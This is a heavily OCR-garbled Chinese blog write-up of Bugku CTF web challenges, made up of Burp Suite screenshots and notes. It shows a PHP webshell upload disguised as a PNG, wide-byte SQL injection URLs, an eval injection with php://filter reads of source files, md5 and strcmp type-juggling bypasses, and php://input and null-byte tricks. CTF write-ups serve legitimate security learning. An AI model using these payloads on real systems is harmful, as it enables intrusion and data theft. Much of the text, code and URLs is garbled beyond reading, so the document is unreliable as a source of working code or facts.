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Burp Intruder Repeater Window Help

[ Target I Proxy T Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I

J intercept T HTTP history T WebSockets history T Options ]

# | Reguest to http:i103.238.227.13:10085

l Forward J [ Drop J [ Intercept is on ] Action
J Raw T Params I Headers I Hex ]

POST f HTTP/L1.1

Host: 103.238.227.13:10085

User—-Agent: Mo=zilla/5.0 (Windows NT &.1; Wingd; x64; rv:54.0) Gecko/IZ0100101 Firefox/54.0
Accept: text/html,application/xhtml+txml, application/xml;gq=0_5,*/*;gq=0_8

Accept-Language: zh-CI,zh;gq=0_8,en-TU3;g=0_5,en;q=0_3

Accept-Encoding: gzip, deflate

l|Content-Type: multipart/form-data; boundarys—-—-——————————————————————— 2415553530387
Content-Length: 82348

Beferer: http://103_.238_.227_13:10085/

Commnection: close

Tpgrade-Insecure—-Regquests: 1

————————————————————————————— T415E593530387
Content-Disposition: form-data; name="file"; filenamed|"333.php.pnong"
Content-Type: image/png

<?php

ipassword='1gl520'; //pass
$shellname="'0000000";//my name
smyurl='http://www. 00xss . org' ;//my_url

il 2:

HegE—NE RSO B AL, SRR SO 44 5 42 jpg i ejpg .php, AT BL EAR Zh .

S ERES PSSO R BN B, SR I SO R 4809 .php

2. sgiE A


https://blog.csdn.net/Sanky0u
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=bugku&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/Sanky0u/article/details/77197523
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<html lang="en">
<headr
<meta charse‘t/'}
CtitlerSALIA ST Tt e
{1lirk rel="stvlesheet” href="lttp://apps bdimg, comdlibs/bootstrap/3. 3.4/ ca=/bootstrap, cas™>
</head>
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SQLIENMA,

HiflkeyZ. id=149string=E%

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "i&" LIMIT 1" at line 1

® 103.238.227.13:10083/?id=%df%27%20union%20select%201,2%20%23
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® 103.238.227.13:10083/?id=%df%27%20union%20select%201,database()%20%23
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A EE IR

C | 120.24.86.145:8003

<plp
include  “flag php”;
$a = @ REQUEST[ hello'];
evall “war_dump($al; )
show _source(_ FILE )

T

7~ T@$_REQUEST [ m B 2GS, AbRk@$_GETHLZ@$_POSTA LAE |25 @$_REQUESTHLHES .
It LA kgithelloffigets 4k .
$api 1% G AR E T B B e — R B 3 hello il 2 EUE IE .

INT ¥ = & SQLBASICS- UNION BASED- ERROR/DOUEBLE QUERY- TOOLS- WAF BYPASSs ENCODING- HTML- ENCRYPTION- OTHER- XS5 LFI-

@ Load URL [ ‘http://120.24.86.145:8003/%hello=)include(@3_POSTb']
B split URL

] Execute

|-

| L

Postdata [J] Referrer %= OxHEX 3% 4% 9URL 3% = PBASEG] BB

Post data b=php://filter/convert.basebd-encode/resource=flag.php

PD9waHANCgkkZmxhZyASICdUb28gWW91bmcgVGIVIFNpbXBsZSc7DQollyBIY2hvICRMbGFNOWOKCSMgZmxhZ 3tidWetY3RmLWdANLTKSfTSNCj8+ <7php
include “flag. php™;
fa = @f_REQUEST[ hellc'];
eval [ “var_dump ($a); ")
show_source (__FILE_ ) ;
o

2 ¥ 315 flag.phpffibase64 4w s 5 i 5 L il 75 2 flag

Burp Intruder Repeater Window Help

[ Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I Uszer options I Alerts ]

PD9waHANCgkkZmxhZy ASICdUbZ8gW VWS 1 bmchGBUIFNphJ(BSZBc?DQD.JI}'BNEhv}CRthFnOW‘DKCSManthStid\'lfc’tYSRmLdeLTthfsNCjB—i-l

=7php
Sflag = Too Young Too Simple’;
# echo Sflag;
# flag{bug-ctf-gg-95};




o eval() BRE AT AT H ZHCA AU AR IAT

o file() BREANEAN TN — N, FRHGSCHE Ry — R ]

o print_r() BRECA T H 2 .

e var_dump() BRECAT D AR RN A Rl AR EA, KRBT BN, KR, KE.

e hello=file(“flag.php”), #ix%4:13%|var_dump(file(“flag.php”)), VLECLIE R Hi SO A 25

e include()& % Mlphp://input, php:/filterss &1R14F . php:/filtern] LA 5 EBCCAEEACHY, 45 B2 IR idbase64 4 i Jo i 45
R

php:/ffilter/convert.base64-encode/resource="C %42 (fnindex.php)

545k —

FIIFJ5 0T A BEARAD () A ARAD . 1[X BL5 KR 5] (https://img-blog.csdn.net/201708151532230087
watermark/2/textaHROcDovL2Jsb2cuY3NkbiSuZXQvU2F ua3kwdQ==/font/5a6L5L2T/fontsize/400/fill/I0JBQkF CMA==/dissolve/70
Igravity/SouthEast) U4 i) = Bl & FIGETH: 2 4rargslil — MEE 4 tlna, /5K iX DR ESalE{TEI K. H B HRIR
1, FOCAFITE R B #A kA &, JH A L AEA — Ml 4 R4 GLOBALS (— MU T 4l As & 1 4 Jm 4 & %4l .
BRI TR AL e R AL b A B RAREAT R R . (X LS & ik (https:/img-
blog.csdn.net/201708151537411807

watermark/2/textaHROcDovL2Jsb2cuY3NkbiSuZXQvU2F ua3kwdQ==/font/5a6L5L2T/fontsize/400/ill/I0JBQkF CMA==/dissolve/70
[gravity/SouthEast)

6. Web4

Por: BEEACHIE A3 A AR R I TR 2 uldm S i EdE, FERIKEPT, %35%34%61%61%32, p2, T3 Fburpsuite
ff)decoder B E A4 G ek —curfftd . 1[1X 5 B 7 #18] (https:/img-blog.csdn.net/20170815154724923?
watermark/2/textaHROcDovL2Jsb2cuY3Nkbi5uZXQvU2F ua3kwdQ==/font/5a6L5L2T/fontsize/400/ill/l0JBQkF CMA==/dissolve/70
Igravity/SouthEast) fiffd f5 15 2] — B AAiS . \[iX 115 B 5 4] (https://img-blog.csdn.net/20170815155229522?
watermark/2/text/aHROcDovL2Jsb2cuY3Nkbi5uZXQvU2Fua3kwdQ==/font/5a6L5L2T/fontsize/400/fill/l0JBQkF CMA==/dissolve/70
[gravity/SouthEast) ¥ #1  :

HhAEid N “password” [ 76 & E AL £ “67d709b2b54aa2aa648cf6e87a7114f1”.  onsubmitlii-1% R form#, it LAformirlid N i%
H“levelQuest'Jf H. 55 checkSubmiti& £ 56Tk, T2 7EM T EF12E i ) nz, form3ghn 7idflonsubmit, AEH Tid, 3
hn 7 value, #R3ZfEMATLAE Wflag 1. [X 55 K 5 $ii4](https:/img-blog.csdn.net/201708 151559598807
watermark/2/text/aHROcDovL2Jsb2cuY3Nkbi5uZXQvU2F ua3kwdQ==/font/5a6L5L2T/fontsize/400/ill/l0JBQkF CMA==/dissolve/70
[gravity/SouthEast)

RN, e KMEA RS U287, ERE T HIEIRSL67d709b2b54aa2aa648cf6e87a7114f1 {2 mf v LA3R
fiflag, HidiIE TR



7.flagft index

X T A2 R B php:/fittersk Bl index. php 3k A5 M 1A IS 45 2ilflag.  [[X B 5 & v 418 (https:/img-
blog.csdn.net/201708151610164637?
watermark/2/texttaHROcDovL2Jsb2cuY3Nkbi5uZXQvU2F ua3kwdQ==/font/5a6L5L2T/fontsize/400/fill/l0JBQkF CMA==/dissolve/70

[gravity/SouthEast)
8. i L K

I EEFFAIE K — 4 code x>, WA, 1[XHE E k] (https://img-blog.csdn.net/20170815161546039?
watermark/2/texttaHROcDovL2Jsb2cuY3Nkbi5uZXQvU2F ua3kwdQ==/font/5a6L5L2T/fontsize/400/fill/l0JBQkF CMA==/dissolve/70
[gravity/SouthEast)

o md5itH 4R H B R0ed+, Wik 20eHk, JGIAGE TEHI%, phpmt 24 F 70 B, HEE 19 21V 2 md5f5 45 1
NOed+i& X FEFF R, AR MGV V2 A R AT
e strcmp(array,string)=null=0, LA Ev32 M DA IGIE 1o K T phpds R A IR AR I (1 2. < PHP 5S>,

< C | ® 47.93.190.246:49162/2v1=5878926199a8v2=5155964671a8&v3[]=[1,2,3]
SET | MES=HEENER , FELXE , BT T.
LETIR  BAERNSFE THATER . ES
HRaTE  EFPNEASTHBNNER. EAT P EEEERSIL Y
VB4 SSECTEERR TS Y SRINARERE  REANEENRE. ...
"BEEER. RE | MR,
TRLBEHEMAH TitE  SERRRNOAATRE TS 25 RBRabk...
"REIREE T o EREERAN

"IRMEBFEERIT. o 0 0 0 0 6 6 !

PHPRIHR FRIFAIES

SKCTF{Php_1s_tH3_B3St_L4NgUag3}

9.Web6


http://zjw.dropsec.xyz/%25E4%25BB%25A3%25E7%25A0%2581/2016/10/09/php%25E5%25BC%25B1%25E7%25B1%25BB%25E5%259E%258B.html%20PHP%25E5%25BC%25B1%25E7%25B1%25BB%25E5%259E%258B

I EF B Nk —AMagT B, RIS 515211 —baseb4 I 77 &, 5 5base64f#idf3 2|4 +723831.

Burp Intruder Repeater Window Help

Target | Froxy Spider | Scanner I Intruder I Repeater I Seguencer T Decoder I Comparer I Extender T Project options I User options | Alerts

1= |2x |3 =% 5= |6 =

< v > |v Target: http:i120.24.86.145:8002
Response

Raw | Params | Headers | Hex Raw | Headers | Hex
GET /web8/ HTTP/1.1 & HITP/1.1 200 OK
Host: 120.24,86. 115:8002 r Server: nginx
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win61; x61; rv:51.0) Gecko/20100101 Firefox/51.0 Date: Tue, 15 Aug 2017 08:31:17 GNI
Aceept: tewt/html, application/shtml+eml, application/uml; q=0. 9, #/#;q=0. 8 Content-Type: text/html;charset=utf-3
Accept-Language: zh-CN, zh;q=0.8, en-U5;¢=0.5, en;g=0. 3 Comnection: close
Accept—Encoding: gzip, deflate Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cookie: PHPSESSID=090cvelrh3Tob28h2rbe2911i360k0mgp Cache-Control: no—store, no—cache, must-revalidate, post-check=0, pre-check=0
Comnection: close Pragma: no-cache
Upgrade-Insecure-Requests: 1 flag: BLeRS5qEBL+TSLINGZISZT TyMsTuZbL2gInxhi+Wopzog Inplek9ETg=
Cache-Control: max-age=0 Content-Length: 89

</ > PRI G

¥yi& 2% margin=723831/1/POST /7 1424 .

< v > |v Target: http:i120.24.36.146:8002 [ﬂ

Request Response

Raw [ Params | Headers | Hex Raw | Headers | Hex
[POST |/web6/ HTTP/1. 1 4 HITP/1.1 200 OK
Host: 120.21. 86. 115:8002 r Server: ngine
User—Agent: Mozilla/5.0 (Windows NI 6.1: Win61: =61; rv:51.0) Gecko/20100101 Firefox/51.0 Date: Tue, 15 Aug 2017 08:16:38 GNT
Aecept: text/html, application/zhtml+enl, application/=ml; g=0. 9, Content-Type: text/htmlcharset=utf-8
Aeccept-Language: zh—CN, zh:g=0.8, en-US q=0. 5, en:q=0.3 Connection: close
Accept-Encoding: gzip, deflate Expires: Thu, 19 Now 1981 08:52:00 GMI
Cookie: PHPSESSID=80cvelrh3Tob2B8hlrbe29111360k0ngp Cache—Control: no-store, no—cache, must-revalidate, post-check=0, pre-check=0
Connection: close Pragma: no—cache
Upgrade-Insecure-Requests: 1 Iflag: BLeR55qEBL+T5LiNEZSTT TyM5TuZ5L 2g InwhI+WQpzog TVRr 21601 = |
Cache—Control: max-age=0 ontent-Length:
Content-Length: 13

o> RBEE GRS 11— OF |, now you to post the
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requests

base64

) .content

Er T DL, wRAE IR IR R RS AL, ER AT T LKA A KAag, TR U T MRR R o o 7y I
WIS T — Wk, SasRitisk 7, 8, AEBICRS A [ !

E: \CTFfEﬁ E shugkusweb>python wehb . py

' Content—Encoding’: ‘gzip’, ‘Transfer—Encoding’': ‘chunked’. ‘Expires’': ‘Thu, 179
Mov 1981 @8:52:0@ GHMT’,. ‘HKeep-Alive’: ‘timeout=6A', ‘Server’: ‘nginx’',. ’‘Connect
ion’: ‘keep—alive’, ‘Pragma’: ‘no-—cache’, 'Cache—Control’: 'no—store,. no—cache.
muzt—-revalidate, post-check=8,. pre-check=8'. 'Date’': 'Tue, 15 Aug 2017 BA8:-56:-08
GMT* . ‘Content-Type’: ‘textshtml;charset=utf-8'2>

KEY{111dd62fcd377876belBa>

FRAGIRBAT IR R, A E PR FH —FE I cookie I H.cookied A il Wmh vy LAWE, (HJ2 T Lik AT, HeeHALi, BUs

10. never give up



RIS AL p.htmIsC

C | @ view-source:120.24.86.145:8006/test/hello.php?id=1

<1=-1p. html —>
never never never give up !!!

2SR BT ] 1A U 2 ke BB, (ERA — Ik — AN fEview-source: TS ] 13X AN Y TUA 3 1 AL -

| €« C | ® view-source:120.24.86.145:8006/test/1p.html @ v o
1 <HTHL>

| 2 {HEAD>
3 <SCRIPT LANGUAGE="Tavascript™>
4<l--

7 wvar Words ="%3Cscript%3Ewindow. location. hre f%3D%2Thttp% 34/ Awww. bugku. comb27%3B%30/ s cript%Y3E%20%0A% %21 —

JTLyITHC WY IN g IMGE LN JREROVUTTVC JTI 3aW01N < INUQL M jk INEELNOT INEEIMD] oZWFLZXI LM g1 M jdMbENhdG ] vhiUzQS 0w NGhl bGxvLnBocC
UzREml ke TTNEN SNy 50 SUzE1 i) SUwOWVdaXQ1IN 321N jkINOTINEEINOQINEE 1N jRpZ CUzRCUNE SHEVQ1 NUT 1M j dpZ CUv Ny U1 RCUZE1 Ui ST NGE 1
NOQIMIRFROVITTVC JTI 3Y SUwNw U1 RCUz01 Usld SUWNGT INOQLN R FROVITTVC T TI ST 1 Uty U1 RCUT 201 UwW 1 mJ TT d e 3R yaiBveyllyOCTNGE 1MIEMIN
euJ TISTTIGITISITEEITACTTEE] TALZWN ok w U NC U 25+ I T Iwb mB 1M jBub w Uy NGEv ] TIwbmB 1N jBubsUvMGow JTIS T THC T TBE T TAR eV OdE TuT T Iw
JTNCITBBITAETTBEJTI 0Z2GFOT SUyNCUzRCUwMEBmaWx 1 X2 AL dF 9 jh250ZWE 0cyUrOCUyNGE LML LM jdy JTISTTIS JTHC TTBBaWT 1N j2 1M JRETHER]T
NEJTHEJT Iv¥ n¥na3UlN jBpeyllyMGEIN jBuaWiNl TTIwc GxhdaVmb 3T+ JTIx JTIw T TIw Y WEL T TIwn T T OaMQI M OQIMOG T TIwi W5l JT Inc SRyb GV TI4
JTIOYily0SUzRTULN jBhbm@ 1N B 1 cmVnaSUyOC Uy N E eMETyMis zdW Tz dHT 1IN 2 1M 3R JTIDNCUwRzE1 M 3k INEMIN T «MTEOT T v TIS T TIwiWhk J T
Twe3Vic3Ry I TI4ATTION iUz Al MMz JTIST TL « JTTHEN CUs0 S Uil SU3E 1 Unl) 50X T 1 ¢ EVp cmU1N 32 103 Tol Gene T THRL R4 dCTAN 1 U050 z0 1 Uwll 5 US
RCUwQWYsc2UINEELNOI INEEIND ] wemludCUMCUy NS 1 doVyr JTIwhmVEZXT 1IN JBuZiZ 1 ciUvNGdp dmULIN B 1 cCUwMCUw N SUw STy NS N1 U z01 UnQ S
3R CUwRS ) SUwl SUzR 1 UzRE% 3D %2D——%3E ™

finction OutWord()

10 | var NewWords;
NewWords = wnescape (Words);
12 | document. write (NewWords)
3|l
14 OutWord();
5|/ >
16 </SCRIPT>
17 | </HEAD>
18 | <BODT>
19 | {/BODY>
20 | </HTHL>

urlfii i X base64 it f5 X urlfii i 15 2 T i/t



e $data=="bugku is a nice plateform!”: 7] LL4a=php://input, %kJ5POST4{4 bugku is a nice plateform! £ .

e strlen($b)>5 and eregi(“111”.substr($b,0,1),"1114”) and substr($b,0,1)!=4: T LLFIFi1 %00, 4b=%0012345 Z8it .

e I$_GET[id']Jf Hid==0: %4id=%0057# 4id=4#Bn] LAGeit .

INT * = & S5QLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS-

| Load URL /http:_a'}"l2C.2:‘—.8E.1:‘—3:SECE_;"test_;"heIlD.php?a=php:_a";"ian|tS-'.b=3‘"&E8123i3&:id=.

Al
B split URL

Execute
b

7| Post data Referrer 4™ 0OxHEX ™ & o RL ™ 4 p[pASEEq A

i . . r
Post data bugku is a nice plateform!

.

flagf{tHis_iS_THe_fLaG})
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